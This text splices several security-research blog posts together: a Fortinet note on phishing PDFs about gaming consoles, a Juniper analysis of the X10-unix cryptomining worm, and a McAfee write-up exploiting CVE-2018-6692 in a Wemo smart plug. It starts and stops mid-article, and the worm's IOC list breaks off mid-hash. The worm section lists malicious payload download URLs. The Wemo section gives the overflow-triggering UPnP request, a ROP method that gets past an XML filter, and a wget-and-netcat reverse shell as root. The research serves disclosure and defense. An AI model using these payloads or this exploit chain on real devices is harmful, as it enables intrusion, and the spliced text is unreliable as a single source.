Gaming Console Phishing Another scam FortiGuard Labs recently observed is related to gaming consoles.
With the ongoing global chip shortages, consumers are still having a hard time getting their hands on the next generation of gaming consoles, such as the PlayStation 5 and Xbox Series X and S systems that debuted late last year.
FortiGuard Labs researchers recently identified a series of malicious PDFs online, with titles like, “how_much_do_xbox_one_cost_on_black_Friday.pdf” and “Walmart_black_Friday_ps5_pickup.pdf”.
The first page of each PDF uses CAPTCHA to prove the user is a human.
The Continue button on the same page does not work as expected because the user gets redirected to a web site as soon as they click the CAPTCHA checkbox.
Unfortunately for us (and fortunately for the readers), the sites the user is redirected to were no longer available at the time of the investigation.
However, based on Fortinet’s Webfiltering data, both sites have been used for Phishing.
As such, the victim may be lured into giving out confidential information such credentials for online shopping sites, credit card numbers, and home address.
Although these scams are not new, users should pay extra attention to the potential scams ahead of the Black Friday shopping spree.
Black Friday Scam Season has Begun While online shopping towards Black Friday is fun and exciting, it also provides cyber criminals with ample opportunities to exploit and monetize a victim’s giving spirit and greed.
If a discount or availability of a hard to find item seem too good to be true, think twice before making a purchase.
Recommended Actions and Precautions Because these criminals are using phishing techniques to socially engineer and lure victims into following the steps laid out by the attacker, it is vital to address these challenges ahead of time.
The most effective tool in the fight against spam and malicious email links and attachments is a secure email gateway with advanced detection and response technologies.
Fortinet's Secure Email Gateway not only sees and effectively stops such threats but can be easily integrated into an organization's larger security strategy, rather than operating as a stand-alone solution, enabling organizations to deploy FortiMail as part of a complete end-to-end security solution.
Organizations are also strongly encouraged to conduct ongoing training designed to educate and inform personnel about the latest phishing/spearphishing techniques and how to spot and respond to them.
This should include encouraging employees to never open attachments from someone they don't know and always treat emails from unrecognized/untrusted senders with caution.
Since it has been reported that many phishing and spearphishing attacks are being delivered as part of social engineering distribution mechanisms, end-users within an organization must also be made aware of the various types of attacks currently in use.
This can be accomplished through regular training sessions and impromptu tests using predetermined templates originating from an organizations' internal security department.
Simple user awareness training on how to spot emails with malicious attachments or links can also help prevent initial access into the network.
Learn more about FortiGuard Labs global threat intelligence and research and the FortiGuard Security Subscriptions and Services portfolio.
Learn more about Fortinet’s free cybersecurity training, an initiative of Fortinet’s Training Advancement Agenda (TAA) , or about the Fortinet Network Security Expert (NSE) program, Security Academy program , and FortiVets veterans training program.
Fortinet Protections Fortinet customers are already protected from this malware by FortiGuard’s AntiVirus as follows: W32/Fsysna.
UC!tr MSIL/GenKryptik.
EPMK!tr FortiMail users are protected against this phishing attack.
Indicators of Compromise (IOCs): SHA2 D615C3B67026F7F832FCD25E81F698D5374FC92FFBC69C1EA50363B4CA457ADB 11C58EFF77974C97E2854F02E7781E0CC37423E5EB36EAE98CD4230FD6EC4FB0 Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
Learn more about Fortinet’s free cybersecurity training , an initiative of Fortinet’s Training Advancement Agenda (TAA), or about the Fortinet Network Security Expert program , Security Academy program , and Veterans program .
Learn more about FortiGuard Labs global threat intelligence and research and the FortiGuard Security Subscriptions and Services portfolio.
In November, Juniper Threat Labs documented a new wormable cryptomining campaign dubbed Gitpaste-12 .
The initial wave of Gitpaste-12 attacks was last seen on October 27, when the GitHub repository hosting the bulk of the worm’s payloads was removed.
On November 10, we discovered a new round of attacks: Network traffic from the new attacks The wave of attacks used payloads from yet another GitHub repository, which contained a Linux cryptominer (“ls”), a list of passwords for brute-force attempts (“pass”) and a statically linked Python 3.9 interpreter of unknown provenance.
GitHub repository hosting malicious files
In addition, two more files were added during the course of this research: a configuration file for a Monero cryptomining program (“config.json”) and a UPX-packed local privilege escalation exploit for x86_64 Linux systems (“root_x86_64”).
The config file uses the Monero address 41qALJpqLhUNCHZTMSMQyf4LQotae9MZnb4u53JzqvHEWyc2i8PEFUCZ4TGL9AGU34ihPU8QGbRzc4FB2nHMsVeMHaYkxus, the same used in the October attacks.
Cryptominer configuration file
In this blog, we’ll dig deeper into some newly-found samples from the initial attack repository.
The first, called X10-unix, is a UPX-packed binary written in the Go programming language, compiled for x86_64 Linux systems.
Overview of attack The sample begins by downloading a selection of payloads from the now-defunct repository: http://raw.githubusercontent.com/cnmnmsl-001/-/master/shadu1 http://raw.githubusercontent.com/cnmnmsl-001/-/master/base64 http://raw.githubusercontent.com/cnmnmsl-001/-/master/sudob64 http://raw.githubusercontent.com/cnmnmsl-001/-/master/X11-unix http://raw.githubusercontent.com/cnmnmsl-001/-/master/config.json http://raw.githubusercontent.com/cnmnmsl-001/-/master/X10-unixb64 http://raw.githubusercontent.com/cnmnmsl-001/-/master/X10-unix.exeb64 http://raw.githubusercontent.com/cnmnmsl-001/-/master/X10-unix_mipsb64 http://raw.githubusercontent.com/cnmnmsl-001/-/master/X10-unix_armb64 http://raw.githubusercontent.com/cnmnmsl-001/-/master/ssb64 http://raw.githubusercontent.com/cnmnmsl-001/-/master/ss.exeb64 http://raw.githubusercontent.com/cnmnmsl-001/-/master/ss_mipsb64 http://raw.githubusercontent.com/cnmnmsl-001/-/master/ss_armb64 http://raw.githubusercontent.com/cnmnmsl-001/-/master/hideb64 http://raw.githubusercontent.com/cnmnmsl-001/-/master/hide_armb64 http://raw.githubusercontent.com/cnmnmsl-001/-/master/mipsld.so
The ‘b64’ suffix indicates a file that has been base-64 encoded into an ASCII text file for use as an exploit payload.
We can see that X10-unix is cross-platform, with versions for MIPS and ARM Linux machines, as well as Windows.
The worm then commences a wide-ranging series of attacks comprising at least 31 known vulnerabilities — seven of which were also seen in the previous Gitpaste-12 sample — as well as attempts to compromise open Android Debug Bridge connections and existing malware backdoors.
The attacks target web applications, IP cameras, routers and more.
FuelCMS attack The exploits include: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1871 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3313 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8361 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17215 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17562
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11511
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10758 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11447 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19509 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5902 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8816 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10987 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17463 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17496 https://www.exploit-db.com/exploits/37474 https://www.exploit-db.com/exploits/40500 https://www.exploit-db.com/exploits/45135
https://www.exploit-db.com/exploits/45161 https://www.exploit-db.com/exploits/46542 https://www.exploit-db.com/exploits/48225
https://www.exploit-db.com/exploits/48358 https://www.exploit-db.com/exploits/48676
https://www.exploit-db.com/exploits/48734 https://www.exploit-db.com/exploits/48737 https://www.exploit-db.com/exploits/48743 https://www.exploit-db.com/exploits/48751
https://www.exploit-db.com/exploits/48758 https://www.exploit-db.com/exploits/48771 https://www.exploit-db.com/exploits/48775 https://www.exploit-db.com/exploits/48805
https://www.exploit-db.com/exploits/48827
Many of these exploits are new, with public disclosures and proofs of concepts dated as recently as September.
While the X10-unix attacks vary in target operating system and architecture, each tries to do three things: Install Monero cryptomining software.
Install the appropriate version of the X10-unix worm.
Open a backdoor listening on ports 30004 and 30006 and upload the victim’s IP address to a private Pastebin paste.
Victim IP address being uploaded to Pastebin The backdoor is implemented by a UPX-packed binary “ss”, also written in Go, with variations compiled for Windows and multiple Linux architectures.
This program first determines the hijacked computer’s external IP address from myexternalip.com, uploads that address as the name of a private Pastebin paste, then starts TCP listeners on ports 30004 and 30006.
In addition to the known vulnerabilities above, X10-unix attempts to connect to Android Debug Bridge connections on port 5555.
ADB infection code On successful connection, X10-unix runs a script that uploads a native binary (“blu”) and an Android APK (“weixin.apk”), both base64-encoded.
Blu probes the device’s bluetooth hardware and installs the APK.
The APK uploads the device’s IP address to Pastebin as above and then downloads and installs an ARM CPU port of X10-unix.
A similar attempt is made to install payloads on existing reverse-shell backdoors listening on port 1337.
While it’s difficult to ascertain the breadth or effectiveness of this malware campaign, in part because Monero — unlike Bitcoin — does not have publicly traceable transactions, JTL can confirm over a hundred distinct hosts have been observed propagating the infection.
Detection by Juniper ATP Cloud
In addition to detection by Juniper Advanced Threat Prevention products, payloads from this attack are detected by the following IDP signatures: HTTP:MISC:JBOSS-SEAM-EL-RCE, HTTP:CTS:REALTEK-SDK-COMMAND-IN, HTTP:HUAWEI-CVE-2017-17215-RCE, HTTP:CGI:WEB-SERVER-CGI-RCE, HTTP:CTS:RCONFIG-CMD-INJ, and HTTP:
DIR:F5-BIGIP-DIR-TRAVERSAL.
IOCs URLs starting with:\r\nraw.githubusercontent.com/cnmnmsl-001/-/master/\r\nraw.githubusercontent.com/sptv001/_/master/\r\n\r\nFrom https://github.com/sptv001/_:\r\n2f7303f98c5803278d4194c645494cc20e2c175330285f2eedcfc0934b4d51fe  config.json\r\ne67f78c479857ed8c562e576dcc9a8471c5f1ab4c00bb557b1b9c2d9284b8af9  ls\r\n20791ba9175c07d82c12ddedd2ce4d652ca428dfa63ef94f2710ebc83cdd386b  pass\r\n240f615a74bb3bdd734a2ace0b0127c021cf97d31d57756881e26b0e3dd42aa0  python\r\n571789c76c6b98396017249f362867ea2a6724808d61f4c2ffed6a32b4ebc01c
root_x86_64\r\n\r\nFrom https://github.com/cnmnmsl-001/-:\r\n5ae15feeea45c2b83abf2b8d9b4a20c21a0b188483b81a3f0a63c24774768249  X10-unix.exe\r\n8aea27d8177f803c1581a3522de17a421060618361a37bdfa9ac361046b5aa5b  X10-unix.exe\r\ncf3a9fe67387e494b02c8fa375934f92d136b6230fa67a85aa056150f6651e03  X10-unix.exe\r\n667bb7b4d4d5b7ba8c4be5387845f2be6e58e1bfd43e163a1652fd22eded5dfc  X10-unix.exe\r\n0c3d763bb94651f0f1b8ad700e1314e2e0406382802358a0eb7e4f4ead0ec7f5  X10-unix.exe\r\ne199ae0774910d6aef16623924d8c4520edd1e957c97cdd7871eb25cffbed0e9  X10-unix.exe\r\ne3092dd16d91a79e09b9cd9ce0f328a84c4c659d994acdfc02d43f5812832ffb  X10-unix.exe\r\nf8d537ea0e579e45e707371f4baa7cb255d2fed3f933b4841a2e7e3e4d3a30a1  X10-unix.exe\r\neb7c3b74f74d7156bf8092af699c9a7dcc1e425cdd6e66250d51daabf5e40860  X10-unix.exe\r\n5a1775d6034d580038a99511c1a7a85e9d5fc9c742de42c15787c2e6d1022960  X10-unix.exe\r\n55cab6688208cb5be6fc01c60880ac759ef7f749a3392aaca765f8e8016a01b0  X10-unix.exe\r\n8fcb33ba6d44bc68686ff67a9b21f69905eb85ab3ce7d94b30095224ee3dfbf8  X10-unix.exe\r\n2b520f45e77f9f7c22683ffab5c46a8331f7b13c5af30c957eb16e75dd0ce471  X10-unix.exe\r\n0797f6455de5f0a9221e47255f405b8123ccd01a51c1d59c1f22ecd0f53b9768  X10-unix.exe\r\n531abf8b57df1adad18aaa5c9dc8c94533f9d8b7760ad63ac5bf0a7138dcc1b4  X10-unix.exe\r\n13c37624799ffbd26be1e9e273b81ddd84dc52abbecbe9d52135064ff53ce23f
X10-unix.exe\r\nf02b78b0f89968573360d0d62bebdc53986feee9602a1f9d681e9caa9b548eb4  X10-unix.exe\r\n6dd60a32b8f49a4f06cec98e8d64d677288d982237d6b14dfcf647330d9882c8  X10-unix.exe\r\n8e4ba630d78f48de1330ca32bd987cc6d2474b5d9ecca550ea134445e0dd599d  X10-unix.exe\r\na2bbc59a9fa02bb7c6cf8862333085cfefddee4fc807e959074b74df20af4e0d  X10-unix.exe\r\ncb531f5567f2ebcd131dffc3ca3c53fab7cfacec827a529ed1adacb52c15b0cb  X10-unix.exe\r\n7042531d0a3f2cc8fcd1d9f9c47a617e3e0c497e27f752027be85b7a1e80ec8f  X10-unix.exe\r\n899492cb7a51e337d65c7412097e02d91f53ea4353b7d26aa12074f5714ed559  X10-unix.exe\r\nca52030fd16eb57b505ecb53d0dda6e54656755b2e4561ca5867d7340128652f  X10-unix.exe\r\n45b2e3258f5c57dfb078c7ddd130123864ed34cad2183da23d2bd411497e9443  X10-unix.exeb64\r\nb10df5e72952bbb9ba3fd733585ebf177e3a2e63270e67c846c1cbd55f7eaa66  X10-unix.exeb64\r\ne423a7d1f7581e050f25b6ebecdd1d5cf3148914236215d7022b030ba44c3b01  X10-unix.exeb64\r\nc72a731a5c2ddf78a551d08b334d96445c97cc8c2634446e1fdad3824ca0fe64  X10
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By Douglas McKee on Aug 20, 2018 Eoin Carroll, Charles McFarland, Kevin McGrath, and Mark Bereza contributed to this report.
The Internet of Things promises to make our lives easier.
Want to remotely turn lights and appliances on and off and monitor them online?
A “smart plug,” a Wi-Fi–connected electric outlet, is one simple method.
But IoT devices can turn into attack vectors if they are not properly secured.
The McAfee Labs Advanced Threat Research team is committed to uncovering security issues in both software and hardware to help their developers provide safer products for businesses and consumers.
We recently investigated a consumer product produced by Belkin.
Our research into the Wemo Insight Smart Plug led to the discovery of an unreported buffer overflow in the libUPnPHndlr.so library.
This flaw, CVE-2018-6692, allows an attacker to execute remote code.
Following our responsible disclosure policy, we reported this research to Belkin on May 21.
Can this vulnerability lead to a useful attack?
A smart plug by itself has a low impact.
An attacker could turn off the switch or at worst possibly overload the switch.
But if the plug is networked with other devices, the potential threat grows.
The plug could now be an entry point to a larger attack.
Later in this report, we will look at one possible attack.
Exploring the attack surface Following the manual’s advice, the team used the Wemo phone application to set up the smart plug.
We were able to remotely turn the outlet on and off.
We then tested the software, including port scanning, monitoring normal network traffic, and reading online research.
The Wemo listens on Universal Plug and Play (UPnP) ports TCP 49152 and 49153.
The manuals, disassembly images, and the general-purpose programming language (GPL) were all online; they provided information on CPU architecture, the operating system, and applications.
We turned to the hardware and disassembled the device.
We identified chips on the main board, found headers for communicating with the device, and pulled the memory off flash.
Our online research provided datasheets for each of the chips on the board.
We found universal asynchronous receiver-transmitter (UART) pads on the board and confirmed them with the documentation.
We soldered wires to these headers to discover if they were actively transmitting.
To test communication with the device, we used an Exodus XI Breakout board, shown below:
After brute-forcing the baud rate, we were able to get debug information via the UART interface.
The UART also provided a login prompt; however, neither online research nor simple guessing led us to a working password.
Extraction and firmware analysis The flash chip discovered on the board was a Maxronix MX25L12835F, which is supported by flashrom, a well-known open-source tool for extracting firmware.
Using flashrom and the XI Breakout board, we extracted the firmware from the Wemo device.
After we obtained the original firmware image shipped with the device, we updated it using the Wemo mobile application.
Once the device was updated, we again extracted the firmware from the device, providing us with a second image.
We ran basic sanity checks with the new firmware to ensure our earlier software reconnaissance had not changed.
With the firmware extracted, we analyzed the firmware using binwalk, an open-source binary analysis tool.
Binwalk extracted the file system from the firmware for further inspection.
Access to the file system allowed us to review system configuration and access binaries.
Finding a vulnerability Network or remote vulnerabilities are more dangerous than local flaws, so we took a close look at the UPnP ports listening on the local network.
During this testing phase our lead analyst was taking a class on Exodus Intelligence Embedded Exploitation.
One of the class instructors, Elvis Collado (@b1ack0wl) was developing a UPnP fuzzer and offered to assist our efforts.
Using this tool we started fuzzing the open UPnP ports, while monitoring the UART interface on the Wemo.
After a short time we saw a crash on the UART interface.
11:37:16.702
stuntsx0x46ac6 STUN client transaction destroyed sending SIGSEGV to wemoApp for invalid write access to 464d4945 (epc =
= 2ac1fb58, ra == 2ac1fccc)
Cpu 0 $ 0 : 00000000 00000001 0000006d 464d4945 $ 4 : 31d2e654 31d2e770 00000003 00000001 $ 8 : 0000007c fffffff8 00000007 00000002 $12 : 00000200 00000100 00000807 00000800 $16 : 31d2e6f0 31d2e898 004a1cb8 00000002 $20 : 31d2e638 31d2e6c0 004a1388 31d2e640 $24 : 00000400 2ac1fb30 $28 : 2ac77d40 31d2e600 31d2e648 2ac1fccc
Hi : 00000008
Lo : 00000000 epc : 2ac1fb58
Tainted: P ra : 2ac1fccc Status:
0100fc13 USER EXL IE Cause : 8080000c BadVA : 464d4945
PrId : 0001964c
Modules linked in: softdog rt_rdm rt2860v2_ap(P) raeth Process wemoApp (pid: 2157, threadinfo=80fa0000, task=802c87f0)
Stack : 2a0000d0 fffffffe 31d2e6f0 31d2e770 31d2e76f 31d2e6f0 31d2e6f0 31d2e770 00000000 31d2e604 00000000 00000000 2ac77d40 00000000 4f464751 4a484d4c 4e444241 47454f49 50464658 45414d42 43445044 464d4945 5552414c 46495048
4b524141 41445a4f 44534e4a 4e4e494c 44434357 494a4855 44515455 44494b45 55584a44 584e4f52 545a5247 51545954 595a4c42 4e594a45 484f5158 46474944 … Call Trace: Code: 80a20000 50480004
a0600000 <5440fffa> a0620000 a0600000 10a00006 24840004 24a50001 thready: Destructor freeing name “ChildFDTask”.
Aborted After repeating and closely observing the experiment several times, we determined that the crash was caused by the following packet: POST /upnp/control/basicevent1 HTTP/1.1 Host: 192.168.225.183:49154 User-Agent: python-requests/2.9.1 Accept: */* Connection: keep-alive SOAPAction: “urn:Belkin:service:basicevent:1#UpdateInsightHomeSettings” Content-Type: text/xml Accept-Encoding: gzip, deflate Content-Length: 3253 <?
xml version=”1.0″ ?
><s:
Envelope s:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/” xmlns:
s=”http://schemas.xmlsoap.org/soap/envelope/”><s:Body><b1ack0wl_ns:UpdateInsightHomeSettingsxmlns:b1ack0wl_ns=”urn:Belkin:service:basicevent:1″><EnergyPerUnitCost>210</EnergyPerUnitCost><Currency>236</Currency><EnergyPerUnitCostVersion>KWWZWIVYBQZKDGSSAAPBCQVQQFAVYZEOEUFIDXXQPDYGESTOD
GIJFERXZNMYAFJQLUZPSIJXFQSPADCRIVHDAJLLPQMPLAVECIQUWLXDLIGPLBKCROGPOCVUI
KTSLIIXULOEBVFKWIERCFGHWHCBBDLWFBKBZXAVGRKTDALDNRPOFQJDXAEOC(…snip…)XHU
OUZPCHUBFGLLWSJBFYFOMCGZZMJIQIUVCDETFBRBZVDVKNBVZFBRSVBSZPAYKZYNQZEQPDV DWSZNDUPUDCPAVWNFBFBTYMXTBNCWTBJPKORUBHBSCQBPOPOBZNVADMGWRI </EnergyPerUnitCostVersion></b1ack0wl_ns:UpdateInsightHomeSettings></s:Body></s:
Envelope>
For space reasons some of the payload has been removed.
(The original data in “EnergyPerUnitCostVersion” was 2,828 characters.)
After examining the crash data and the packet, this appears to be a standard buffer overflow, in which data is being overwritten onto the stack.
We continued fuzzing, now focused on the “EnergyPerUnitCost” field and found we needed only 32 characters to crash the application.
Although the crash dump provides us with a lot of good information, there is still a lot we do not know.
For example, the crash occurs in the “WemoApp” and provides us an offset, but what is the base address of this library?
What has been overwritten on the stack?
Without access to the application during runtime these questions are difficult to answer.
Because we obtained the file system earlier, we could statically analyze the WemoApp binary; but we would still be unable to determine the exact point of the crash easily.
To answer these questions we needed to take one of two paths.
We could virtualize the Wemo firmware or binary to continue testing; or if we could determine the root password on the UART interface, there is a chance we could debug on the device itself.
Generally, virtualizing firmware is not simple and can sometimes lead to inaccurate test results.
It is better to debug on the device.
With all the information we found during reconnaissance, it seemed promising that we could bypass the root password.
(We did spend some time attempting to virtualize the WemoApp—with no success.)
Bypassing the root password From the extracted file system, we learned the Wemo runs the embedded Linux system OpenWRT, with the user account information held in either the standard /etc/passwd or /etc/shadow files.
We extracted the hash for the root password from /etc/passwd and submitted it to a cracking rig.
This method proved ineffective in a reasonable amount of time.
With our ability to read the flash chip we had a good chance to write to the chip.
Barring any checksum or validations done on the firmware, we might be able to replace the /etc/passwd file with a known password.
To test this theory, we would have to repack the firmware.
Since the GPL for the Wemo is public, we chose to use the same tools used by the developers.
Using the GPL, we compiled the same version of squash tools 3.0 with Izma and repackaged the firmware file system with a modified /etc/passwd file.
We added padding to ensure the firmware section was the same size as the original.
We then used “dd” to insert the new file system segment into the firmware binary.
During this process, we discovered that using binwalk to extract the firmware prevented us from correctly repackaging the firmware.
We used “dd” with the information provided by binwalk to extract the correct section of the firmware binary for repackaging.
With a new firmware binary in hand, we used the XI Breakout board and flashrom to write the firmware to the flash chip on the board.
After rebooting the device, we were able to log in using the new password.
Analyzing the crash With root access on the Wemo, we could gather more information about the crash during the UPnP fuzzing.
First, we needed to compile the tools required to perform more in-depth analysis for this specific architecture.
Using the GPL, we compiled gdbserver and gdb for the device.
The Wemo had a large amount of installed tools, such as “wget,” making it simple to add files.
We downloaded and executed the tools from the /tmp directory.
After a large amount of trying, we failed to get gdb running directly or remotely with the device.
So we used gdbserver, in conjunction with Interactive Disassembler Pro, for all debugging.
With the debugger connected, we sent the packet causing the crash and saw the exact location of the crash.
A segmentation fault occurred at address 0x2AC15B98.
From the memory layout from the Linux “proc” directory, we determined his memory address resides in library libUPnPHndlr.so.
2abf3000-2ac4d000 r-xp 00000000 1f:02 82 /rom
/lib/libUPnPHndlr.so
Because the crash was caused by a UPnP packet, it was logical to find the crash inside this library .
With the base address 0x2abf3000, we calculated the offset for static analysis in IDA to be 0x22b98.
At this address, we found the following: LOAD:00022B70  # ===============
S U B R
O U T I N E =======================================
LOAD:00022B70
LOAD:00022B70 LOAD:00022B70                 .globl
TokenParser LOAD:00022B70 TokenParser:                             # CODE XREF:
ProcessEnergyPerunitCostNotify+84↓p LOAD:00022B70
# DATA XREF:
LOAD:00004210↑o …
LOAD:00022B70                 beqz    $a1, locret_22BC0 LOAD:00022B74                 move    $a3, $zero LOAD:00022B78                 move    $a3, $zero LOAD:00022B7C                 b       loc_22BB4 LOAD:00022B80                 li      $t0, 0x7C  # ‘|’
LOAD:00022B84  # —————————————————————————
LOAD:00022B84 LOAD:00022B84 loc_22B84:                               # CODE XREF:
TokenParser+28↓j
LOAD:00022B84                 addiu   $a1, 1 LOAD:00022B88                 addiu   $v1, 1 LOAD:00022B8C LOAD:00022B8C loc_22B8C:                               # CODE XREF:
TokenParser+48↓j LOAD:00022B8C                 lb      $v0, 0($a1)
LOAD:00022B90                 beql    $v0, $t0, loc_22BA4 LOAD:00022B94                 sb      $zero, 0($v1)
LOAD:00022B98                 bnezl   $v0, loc_22B84 LOAD:00022B9C                 sb      $v0, 0($v1)
LOAD:00022BA0                 sb      $zero, 0($v1)
LOAD:00022BA4
LOAD:00022BA4 loc_22BA4:                               # CODE XREF:
TokenParser+20↑j LOAD:00022BA4                 beqz    $a1, locret_22BC0 LOAD:00022BA8                 addiu   $a0, 4 LOAD:00022BAC                 addiu   $a1, 1 LOAD:00022BB0                 addiu   $a3, 1 LOAD:00022BB4 LOAD:00022BB4 loc_22BB4:                               # CODE XREF:
TokenParser+C↑j
LOAD:00022BB4                 slt     $v0, $a3, $a2 LOAD:00022BB8                 bnezl   $v0, loc_22B8C LOAD:00022BBC                 lw      $v1, 0($a0)
LOAD:00022BC0
LOAD:00022BC0 locret_22BC0:                            # CODE XREF:
TokenParser↑j LOAD:00022BC0                                          # TokenParser:loc_22BA4↑j
LOAD:00022BC0                 jr      $ra LOAD:00022BC4                 move    $v0,
$a3 LOAD:00022BC4  # End of function TokenParser
Because the developers left the binary unstripped, we can name this function TokenParser.
The segmentation fault occurs at a branch instruction; however, in MIPS the delay instruction is executed before the branch occurs.
Thus the instruction at 0x22B9C is causing the crash.
Here the application attempts to load what is at the address stored in $v1 and place it in $v0.
Taking a look at the registers, we find the data from our packet in XML tags “EnergyPerUnitCostVersion” is in $v1, leading to an “invalid write access” segmentation fault error.
After statically analyzing the function, it appears to copy data from one section to another, looking three times for a 0x7C or “|” character.
If it never finds the “|,” it keeps copying into a statically defined buffer.
To fully understand why the overwrite occurs, let’s take a look at the stack as we step through the function: 2EF17630 2AC692F0 MEMORY:2AC692F0 2EF17634 00000000 MEMORY:saved_fp 2EF17638 34333231 MEMORY:34333231 ← previously copied data 2EF1763C 00000035 MEMORY:retaddr+31  ← next byte will be written at 0x 2EF1763D 2EF17640 00000000 MEMORY:saved_fp ← zeroed out memory prepared for the copy 2EF17644 00000000 MEMORY:saved_fp 2EF17648 00000000 MEMORY:saved_fp 2EF1764C 00000000 MEMORY:saved_fp 2EF17650 2EF17638 MEMORY:2EF17638 ← start writing at this address; can be overwritten As the function copies data onto the stack, it eventually copies over the address for the original buffer.
Once this address is overwritten, the function attempts to write the next byte at the new value, in this case is an invalid address.
This overflow gives an attacker two exploitable vectors: a write-what-where condition allows an attacker to write data to an arbitrary location in memory; by continuing to overwrite data on the stack, an attacker can overwrite the $RA register or return address for the calling function, providing the attacker control of the execution flow.
Writing the exploit Now that that we understand the vulnerability, can we exploit it?
Because this is a standard buffer overflow, we need to answer two questions.
How much room is available on the stack, and are there any “bad” bytes that cannot make it onto the stack?
To determine the available room, we can examine how much of the payload makes it onto the stack if we repair the address overwritten on the stack with a valid address.
We learned only 91 bytes can be written onto the stack.
The next step is to determine if there are any “bad” bytes.
After running a few tests, we noticed that only ASCII characters can make it onto the stack.
Before the vulnerable code is executed, the packet is parsed by the open-source XML parser “mxml.”
This library follows the standard of allowing only ASCII and Unicode characters to exist between tags.
This standard is very problematic for both shellcode and return-oriented programming (ROP) techniques because both memory address and shellcode tend to use mostly nonreadable characters.
We could use several techniques to combat room on the stack; however, due to the hard limitation on characters that will pass through the XML sanitization process, it would be best to use functions that are already loaded into memory.
One method that does not require extensive shellcode is to use a “return to libc” attack to execute the system command.
Because the system call typically takes a string as a parameter, this might pass through the filter.
Because the Wemo does not use address space layout randomization, if we use ROP it would be theoretically possible to make a call to system without needing to pass additional shellcode through the XML filter.
We still face a major challenge: Only addresses comprising entirely ASCII characters can pass through the XML filter.
This drastically limits the potential for finding usable gadgets.
We used IDA to see where libc and system are loaded into memory, and found two implementations: in libuClibc-0.9.33.2.so at address 0x2B0C0FD4; and in libpthread-0.9.33.2.so at address 0x2AD104F4.
However, neither of these addresses meet the requirements to pass through the XML filter.
Thus even if we could create an ROP chain, we would not be able to send just the address for system in the packet.
Addresses with bad characters are not a new problem for exploit development.
One of the most common bypasses is to use addition or subtraction ROP gadgets to create the required address in a register and call that register.
Again, however, we face the limitation on which operands can be used for this addition or subtraction equation due to the XML filter.
After studying the memory layout, we discovered that libuClibc-0.9.33.2.so sits at a memory location with addresses that can bypass the XML filter.
We were fortunate that this is a large library, providing a decent list of addresses, because it is the only library in such a space.
With this discovery, the team created a tool to assist with the creation of this exploit.
The tool pulls out all possible ROP gadgets with usable memory addresses and determines if an addition or subtraction equation could call one of the two system calls found in memory, using only the values that will bypass the filter.
The address for system in libuClibc-0.9.33.2.so, 0x2B0C0FD4, did not have any usable operands.
However, 0x2AD104F4 did.
We found several “filter-proof” operands that when added together equaled 0x2AD104F4.
We employed our tool’s output for all possible ROP gadgets that bypass the filter to build an ROP chain, which uses an addition instruction to create the final address for system and stores it in $s0.
After the addition, another gadget moves the address for system into $t9 and calls system.
This final gadget also moves an address that can be controlled from the stack into the register holding the parameter for the system call.
The entire ROP chain consists of only three gadgets, which easily fit in the stack space provided by the buffer overflow.
Piecing everything together Earlier we discovered two attack techniques that can be used with this vulnerability: a write-what-where, and overwriting the return address on the stack.
Each packet sent can use each technique once.
To get a parameter to the system call, we must use write-what-where to place the parameter in a writable memory address and pass this address to system.
Fortunately, this vulnerable application sets aside a large amount of writable memory that is never used, and in a range accessible to our limited set of addresses that bypass the filter.
Unfortunately, the ROP chain that calls system requires the use of write-what-where to handle extra instructions in one of the ROP gadgets.
This means that two packets are required to execute the exploit: one to write the parameter for system into memory, and a second to make the call to system.
Thus it is important that the first packet exits cleanly and does not crash the program.
One way to execute cleanly is to use three well-placed pipes (“|”) inside the payload to stop writing and exit TokenParser at the appropriate time.
It is also important to not overwrite the RA pointer so the program can continue normal execution after the packet is received.
Then the second packet is sent containing the ROP chain calling system with the address of the parameter written by the previous packet.
Payload With the discovery of a valid ROP chain that can call system, we must decide what system should call.
Because system executes as root, we can gain complete control of the device.
Our research has showed that the device has many Linux commands installed.
We leveraged this earlier with wget to copy gdbserver to the device.
An attacker could also call wget from system to download and execute any script.
We explored further for installed applications and found NetCat, which could allow an attacker to write a script to create a reverse shell.
An attacker could download a script using wget, and execute the script containing a NetCat command to create a reverse shell.
We tested and proved this is one simple, effective method, opening a reverse shell as root.
Attackers could choose many other methods to leverage this exploit and execute code.
The following video demonstrates this exploit working with a reverse shell.
To illustrate, the team wrote an attack scenario.
After the plug is compromised, it could use the built-in UPnP library to poke a hole in the network router.
This hole creates a backdoor channel for an attacker to connect remotely, unnoticed on the network.
In the following video, we used a remote shell to control a TCL smart TV connected to the network.
The Roku API implementation on the TV uses simple unencrypted HTTP GET/POST requests to issue commands and does not authenticate the machine sending these commands, making remote control trivial.
Using the Wemo as a middleman, the attacker can power the TV on and off, install or uninstall applications, and access arbitrary online content.
Smart TVs are just one example of using the Wemo to attack another device.
With the attacker having established a foothold on the network and able to open arbitrary ports, any machine connected to the network is at risk.
Because attacks can be conducted through the Wemo and the port mappings generated using this exploit are not visible from the router’s administration page, the attacker’s footprint remains small and hard to detect.
Conclusion Discoveries such as CVE-2018-6692 underline the importance of secure coding practices on all devices.
IoT devices are frequently overlooked from a security perspective; this may be because many are used for seemingly innocuous purposes such as simple home automation.
However, these devices run operating systems and require just as much protection as desktop computers.
A vulnerability such as we discovered could become the foothold an attacker needs to enter and compromise an entire business network.
One goal of the McAfee Advanced Threat Research team is to identify and illuminate a broad spectrum of threats in today’s complex and constantly evolving landscape.
Through analysis and responsible disclosure, we aim to guide product manufacturers toward a more comprehensive security posture.
In almost every post about Android, we recommend installing apps from official sources only, and that won’t change anytime soon.
